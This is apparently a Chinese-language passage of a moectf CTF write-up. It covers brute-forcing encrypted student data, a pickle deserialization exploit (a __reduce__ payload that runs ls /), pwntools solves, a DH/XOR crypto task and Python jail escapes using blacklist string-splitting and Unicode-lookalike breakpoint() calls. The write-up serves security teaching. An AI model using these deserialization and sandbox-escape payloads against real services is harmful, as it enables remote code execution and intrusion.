,"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"
]
for (const cipher of encryptedStudentData) {
    console.log(cipher)
    brute(23000000, 40000000, cipher);
    // 延迟1000毫秒(1秒)执行
    setTimeout(()=>{
        console.log("1秒后执行");
    }, 3000);
}

这里需要等待的时间比较长,当学号为25178346时拿到flag。

日志系统

题目给出了源码,经过代码审计,发现了危险函数pickle.loads,该函数存在反序列化漏洞。我们可以利用python中的魔术方法达到命令执行的目的。

python 复制代码
import pickle
import subprocess

class Evil:
    def __reduce__(self):
        # reduce 魔术方法,pickle 反序列化时会执行
        return (subprocess.check_output, (["ls", "/"], ))


evil_obj = Evil()
payload = pickle.dumps(evil_obj)
with open("evil.pkl","wb") as f:
    f.write(payload)

生成了pkl文件后,将其上传,能在页面上看到回显,说明payload有效。

二进制漏洞审计

Pwn入门指北

开启环境,用所给的示例代码访问。这里需要两个值,一个是64位下int类型最大值,一个是secret code。

python 复制代码
from pwn import *
context(os="linux", arch="amd64", log_level="debug") #基础配置
# 本地测试时,用这条而把远程交互的注释掉即可
#io = process("./pwn")
# 远程交互,在自己提交时,找到自己的ip和根据wsrx连接后软件给的接口并填写
io = remote("your ip", port)

io.recvuntil(b"Hello,my friend.Please enter the password to begin") #接收指定字符串停止,从而我们进行下列操作

io.sendline(b"???") #发送密码,密码内容提示:64位下int类型最大值

io.sendafter(b"Input your answer:", b"???\n") #发送secret code,请对IDA对程序进行逆向找到,具体操作方法见附件1

#注:我们这里使用了sendline,sendafter,而实际上还有像send,sendlineafter这样的写法
#为啥前面不用自己写换行而后面的要呢?可以自行了解这些区别,防止以后用混

io.interactive() #开启交互模式

通过IDA对pwn程序进行反编译,可以在字符串窗口看到上面两个值。

将这两个值填充进去即可。

python 复制代码
from pwn import *
context(os="linux", arch="amd64", log_level="debug") #基础配置
# 本地测试时,用这条而把远程交互的注释掉即可
# io = process("./pwn")
# 远程交互,在自己提交时,找到自己的ip和根据wsrx连接后软件给的接口并填写
io = remote("127.0.0.1", 51432)

io.recvuntil(b"Hello,my friend.Please enter the password to begin") #接收指定字符串停止,从而我们进行下列操作

io.sendline(b"2147483647") #发送密码,密码内容提示:64位下int类型最大值
#
io.sendafter(b"Input your answer:", b"Welcometomoectf2026pwn\n") #发送secret code,请对IDA对程序进行逆向找到,具体操作方法见附件1

#注:我们这里使用了sendline,sendafter,而实际上还有像send,sendlineafter这样的写法
#为啥前面不用自己写换行而后面的要呢?可以自行了解这些区别,防止以后用混

io.interactive() #开启交互模式

运行就能拿到flag。

现代密码学

密码学入门指北

这题最主要的知识点是知道a^b=c a^c=b b^c=a,直接还原。

python 复制代码
p = 170141183460469231731687303715884105727
g = 3
alice_public = 42348823944539164637318232035973172471
bob_public = 101533001028006636636416596392258549313
alice_private = 20260704
ciphertext = [45, 47, 37, 35, 52, 38, 59, 36, 40, 31, 48, 50, 41, 54, 33, 52, 37, 31, 43, 37, 57, 31, 51, 40, 47, 53, 44, 36, 31, 51, 52, 33, 57, 31, 51, 37, 35, 50, 37, 52, 61]

shared_secret = pow(bob_public, alice_private, p)
key = shared_secret % 256
flag = [x ^ key for x in ciphertext]
for i in flag:
    print(chr(i), end="")

运行一下拿到flag。

Python沙箱逃逸

ez_ban_ja1l

查看chall.py,做了黑名单过滤,os、exec、eval、import、system五个函数不允许使用,我们可以通过拼接的方式进行绕过。

python 复制代码
def chall():
    blacklist = ['os','exec','eval','import','system']
    code = input('Give me your code: ')
    for b in blacklist:
        if b in code:
            print(f'Blacklist word: {b}')
            return
    exec(code)

if __name__ == '__main__':
    chall()

编写代码,连接远程环境。

python 复制代码
from pwn import *

nc = remote("127.0.0.1", 61143)
nc.interactive()

payload:print(getattr(__builtins__, '__impor'+'t__')('o'+'s').popen('ls /').read()),可以正常回显。

经过测试,flag在/tmp目录下。

3z_ban_jail

查看给的源码,过滤了大小写字母和数字。

python 复制代码
import re

def chall():
    code = input('Give me your code: ')

    if re.search(r'[a-zA-Z0-9]',code):
        print('Letters and numbers are not allowed')
        return
    exec(code)

这题可以用0-9,a-z的unicode字符进行代替。𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻 𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡

先通过breakpoint()断点调试函数来执行我们的命令,这里的所有的字母需要用unicode字符代替。𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()

后面要执行的命令就不会受到正则匹配,可以用正常英文字符,flag在/tmp目录下。

e2_ban_jail

这题是过滤了pyjail0123456789这几个字符,但是上题同样的做法可以直接绕过。

equals

这题需要满足的条件:输入的字符串中所有字符的ascii码值的求和要等于输入的字符串的长度的平方,输入的字符串才会被执行。

python 复制代码
def chall():
    user_input = input('Give me your code:')
    s = sum(ord(c) for c in user_input)
    if s == len(user_input) ** 2:
        exec(user_input)
    else:
        print('Not Equal')

软件逆向工程

逆向工程入门指北

IDA64打开程序,在十六进制试图中看到flag,其中有一些干扰字符。

moectf{C0ngr4tuLati0N_On_find1n9_your_1st_RE_f1aggggg!!!}